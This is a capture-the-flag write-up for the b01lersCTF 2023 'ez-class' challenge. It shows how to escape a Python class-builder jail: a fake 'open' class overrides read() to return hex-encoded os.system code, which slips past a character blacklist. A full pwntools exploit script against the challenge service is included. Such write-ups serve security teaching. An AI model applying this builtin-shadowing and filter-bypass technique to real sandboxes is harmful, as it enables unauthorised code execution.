b01lersCTF 2023: ez-class (misc)
ez-class (misc, 375 points, 17 solves)
This one is pretty ez
nc ezclass.bctf23-codelab.kctf.cloud 1337
This challenge was my favorite. Thanks to the organizers for this wonderful CTF!
Overview
This challenge is about a service that gives us the possibility to create and run classes. We can specify:
- The class name
- The parent class
- The mumber of methods
- The method names
- The method params
- The method bodies
There is no blacklist except for this little one here: ().\n
We can run a class and also its dependencies. After executing the class, the service returns us an instance of the specified class.
The first idea
How are we going to execute code if the only thing that gets done is loading the class and instantiating the object?
The first idea that came to my mind is to do some ✨magic✨ using magic functions.
There are so many! But a useful one is __new__
:
When you create an instance of a class, Python first calls the
__new__()
method to create the object and then calls the__init__()
method to initialize the object’s attributes.
Using __new__
, we can return some values and we can execute code, but we can’t call functions yet.
Let’s take a look at how the classes are loaded:
def exec_class(filename, dependancies, class_name):
for dep in dependancies:
with open('/tmp/' + dep, 'r') as f:
exec(f.read())
with open('/tmp/' + filename, 'r') as f:
exec(f.read())
print('Here is an instance of your class')
print(locals()[class_name]())
If we’re able to override read()
we can get RCE.
It’s time to get out of the pyjail!
We need to:
- Override the
open
function with a class - Override the
read
with our custom method which needs to return the code to print the flag - Profit
The class will look like this:
class open(object):
def __init__(filename,*args):
pass
def __enter__(self):
return self
def __exit__(*args):
pass
def read(self):
global open;open=self;return "\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x3b\x6f\x73\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x63\x61\x74\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29" # import os;os.system('cat /tmp/flag.txt')
We also need to add __enter__
and __exit__
because they’re automatically called by the with
operator.
Inside the read
method, we override the open
function with our instance of the class self
and then, we return the code to print the flag.
Now we can create this class inside the service and then run it. The service will also ask us to specify the dependencies of the class to be executed, we put the class created before.
So the service will behave like this: Here, we override the open function with our class:
for dep in dependancies:
with open('/tmp/' + dep, 'r') as f:
exec(f.read())
Now that we’ve overridden the open function, the code passed above to print the flag will be executed here:
with open('/tmp/' + filename, 'r') as f:
exec(f.read())
The service will then crash at this instruction, but we don’t care😈:
print(locals()[class_name]())
The exploit
from pwn import remote
def create_class(p, classname, parent, functions):
print(f"Creating class {classname}")
p.sendline(b"1")
p.sendline(classname.encode())
p.sendline(parent.encode())
p.sendline(f"{len(functions)}".encode())
for function in functions:
p.sendline(function["name"].encode())
p.sendline(function["params"].encode())
p.sendline(function["body"].encode())
print("Done!")
def run_class(p, torun, dep):
print(f"Running class {torun}")
p.sendline(b"2")
p.sendline(torun.encode())
p.sendline(dep.encode())
print("Done!")
def bypass_char_blacklist(code):
result = ""
for char in code:
result += "\\x" + hex(ord(char))[2:].zfill(2)
return result
clean_code = """
import os
os.system('cat /tmp/flag.txt')
"""
to_exec = bypass_char_blacklist(clean_code)
r = remote("ezclass.bctf23-codelab.kctf.cloud", 1337)
fake_open_classname = "open"
fake_open_parent = "object"
fake_open_functions = [
{"name": "__init__", "params": "filename,*args", "body": "pass"},
{"name": "__enter__", "params": "self", "body": "return self"},
{"name": "__exit__", "params": "*args", "body": "pass"},
{"name": "read", "params": "self", "body": f"global open;open=self;return \"{to_exec}\""}
]
create_class(r, fake_open_classname, fake_open_parent, fake_open_functions)
run_class(r, fake_open_classname, fake_open_classname)
r.interactive()
Output:
EZ!